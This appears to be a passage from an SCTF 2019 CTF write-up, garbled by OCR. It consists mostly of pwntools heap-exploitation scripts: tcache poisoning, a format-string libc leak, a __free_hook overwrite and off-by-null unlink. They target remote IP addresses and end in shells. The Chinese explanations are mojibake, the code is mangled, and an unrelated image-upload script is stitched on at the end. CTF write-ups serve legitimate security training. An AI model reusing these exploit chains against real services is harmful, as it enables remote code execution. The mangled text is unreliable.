def new(size,content):

p.recvuntil("Your choice:")

p.sendline("1")

p.recvuntil("Input the size:")



p.sendline(str(size))

p.recvuntil("Input the content:")

p.sendline(content)

def remove():

p.recvuntil("Your choice:")

p.sendline("2")

def newOQ(size,content):

p.recvuntil("Your choice:")

p.sendline("1")

p.recvuntil("Input the size:")

p.sendline(str(size))

p.recvuntil("Input the content:")

p.send(content)

new(0x60,"aaa")

remove()

remove()

new(0x60,"x20x60")

new(0x60,"b")

raw_input()

new(0x60,"x60x07")

pay = p64(0xfbad1880) + p64(0)*3 + "x00"
new(0x60,pay)

libc_addr = u64(p.recvuntil("x7f")[8:8+6].ljust(8,"x00"))-0x3ed8b0
print hex(libc_addr)

malloc_hook = a.symbols[" __malloc_hook"]+libc_addr
relloc_hook = a.symbols["__realloc_hook"]+libc_addr
print hex(malloc_hook)

one = 0x4f2c5+libc_addr

print one

new(0x50,"a")

remove()



remove()

new(0x50,p64(relloc_hook))

new(0x50,"peanuts")
new(0x50,p64(one)+p64(libc_addr+a.sym['realloc’]+0xe))
print hex(one)

new(0x30,"b")

p.interactive()

two_heap

Jsil S Aone heap—#¥, [FIFf & tachef A,
Jesiidsizelfis &R A 0x0,0x8,0x10,0x18 k474,

S8 )5 M M printf_chkml LU a SKleak #4515 Hilibe

S8 JE i nT Llattack free_hook#4 J5 il i free("/bin/sh") getshell.
from pwn import*

context.log_level = "debug"

#p = process("./two_heap",env={"LD_PRELOAD":"./libc-2.26.s0"})
a = ELF("./libc-2.26.s0")

p = remote("47.104.89.129",10002)

#gdb.attach(p)#,"b *0x5555555554a0")

def new(size,content):

p.recvuntil("Your choice:")

p.sendline("1")

p.recvuntil("Input the size:")

p.sendline(str(size))

p.recvuntil("Input the note:")

p.sendline(content)

def remove(idx):

p.recvuntil("Your choice:")

p.sendline("2")

p.recvuntil("Input the index:")

p.sendline(str(idx))

def newOQ(size,content):



p.recvuntil("Your choice:")

p.sendline("1")

p.recvuntil("Input the size:")

p.sendline(str(size))

p.recvuntil("Input the note:")

p.send(content)

p.recvuntil("Welcome to SCTF:")

p.sendline("%a"*5)

p.recvuntil("0xOp+00x0p+00x0.0")

lib_addr = int(p.recvuntil("p-10220x",drop=True)+"0",16) - a.symbols[" IO 2 1 stdout "]
free_hook = a.symbols["__free_hook"]+lib_addr

system = lib_addr+a.symbols["system"]

print hex(lib_addr)

new0(0x1," ")

remove(0)

remove(0)

raw_input()

new0(0x8,p64(free_hook))

new0(0x10,"n")

new(24,p64(system))

new(0x60,"/bin/shx00")

remove(4)

p.interactive()

easy_heap

I S 7Eoff by null, ] LU FH unlinkdz il 4 548 & femmap P 17 Jyshellcode,
PG ) FHAZ 1) 1 X 38 & —Mfake chunk

W Jnfreeflifs & 1 Aunsortedbin, % 7 (K67, 45 M malloc_hook,
SR 5 FreditdCAymmap ik 7T Blgetshell 1

from pwn import*

context.arch = "amd64"

context.log_level = "debug"



#p = process("./easy_heap")#,env={"LD_PRELOAD":"./libc.s0.6"})
a = ELF("./easy_heap")

e =a.libc

print hex(e.symbols["puts"])

p = remote("132.232.100.67",10004)
#gdb.attach(p)#,"b *0x5555555554a0")

def add(size):

p.recvuntil(">>")

p.sendline("1")

p.recvuntil("Size: ")

p.sendline(str(size))

def remove(idx):

p.recvuntil(">>")

p.sendline("2")

p.recvuntil("Index: ")

p.sendline(str(idx))

def edit(idx,content):

p.recvuntil(">>")

p.sendline("3")

p.recvuntil("Index: ")

p.sendline(str(idx))

p.recvuntil("Content: ")

p.sendline(content)

p.recvuntil("Mmap: ")

mmap_addr = int(p.recvuntil("n",drop=True),16)
print hex(mmap_addr)

add(0xf8)

p.recvuntil("Address 0x")

addr = int(p.recvline().strip(),16) - 0x202068
add(0xf8)

add(0x20)



edit(0,p64(0)+p64(0xf1)+p64(addr+0x202068-0x18)+p64(addr+0x202068-0x10)+"a"*0xd0+p64(0xf0))
remove(1)
edit(0,p64(0)*2+p64(0xf8)+p64(addr+0x202078)+p64(0x140)+p64(mmap_addr))
edit(1,asm(shellcraft.sh()))

bss addr = 0x202040
edit(0,p64(addr+0x202090)+p64(0x20)+p64(0x91)+p64(0)*17+p64(0x21)*5)
remove(1)

edit(0,p64(0)*3+p64(0x100)+'x10")

edit(3,p64(mmap_addr))

add(0x20)

p.interactive()
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#!coding:utf-8

import sys

import re

import requests

import base64

import json

reload(sys)

sys.setdefaultencoding('utf8')

requests.packages.urllib3.disable_warnings()

Cookie = 'PHPSESSID=xxxx; UM_distinctid=xxxx;
wordpress_logged_in_de14bfc29164540b0259654d85d7b021=xxxx

def open_file():
file_name = sys.argv[1]
f = open(file_name,'r")
content = f.read()
f.close()

return content



def write_file(new_content):

f = open('new_content.md','w')
f.write(new_content)

f.close()

def get_img_link():

link_list = []

file_name = sys.argv[1]

for line in open(file_name):

line = line.strip()

img_link ="

if "I["in line and "|(http" in line:

is_link = re.compile(r'[(](.*?)])]', re.S)
img_link = re.findall(is_link, line)[0]
link_list.append(img_link)

return link_list

def get_img_base64(link):

r = requests.get(link,verify=False)
content = r.content

img_b64 = base64.b64encode(content)
return r.status_code,img_b64

def get_anquanke_link(img_base64):
url = 'https://api.anquanke.com/data/v1/file/pic'
headers = {

'Origin": 'https://www.anquanke.con,
'Referer': 'https://www.anquanke.com/contribute/new’,
'‘Content-Type'": "application/json;charset=UTF-8',
'‘Cookie": Cookie

}

data = {

'image".img_base64

}



r = requests.post(url=url,headers=headers,data=json.dumps(data),verify=False)
result = r.text

# print r.text

anquanke_link = json.loads(result)['url']

return r.status_code,anquanke_link

def change_paper_link():

content = open_file()

link_list = get_img_link()

for link in link_list:

print 'change link: ' + link

status_code,img_b64 = get_img_base64(link)

if status_code == 200:

print 'get img_base64 success'

status_code,anquanke_link = get_anquanke_link(img_b64)
if status_code == 200:

print 'get anquanke_link success: ' + anquanke_link
content = content.replace(link,anquanke_link)

else:

print 'get anquanke_link fail: ' + anquanke_link

else:

print 'get img_base64 fail'

return content

def main():

new_content = change_paper_link()
write_file(new_content)

print 'get your new paper: new_content.md'

main()

BAT

>>> python .change_paper_link.py SCTF2019-Writeup-De1ta.md

change link: https://upload-images.jianshu.io/upload_images/7373593-2975fcf7003b7d74.png?
imageMogr2/auto-orient/strip%7CimageView2/2/w/1240



get img_baseb4 success

get anquanke_link success: https://p0.ssl.ghimg.com/t01382fc4f593a308ce.png

change link: https://upload-images.jianshu.io/upload_images/7373593-ef36939bde16bbb0.png?
imageMogr2/auto-orient/strip%7CimageView2/2/w/1240

get img_base64 success

get anquanke_link success: https://p0.ssl.ghimg.com/t01f32c3e4f38589eb6.png

get your new paper: new_content.md
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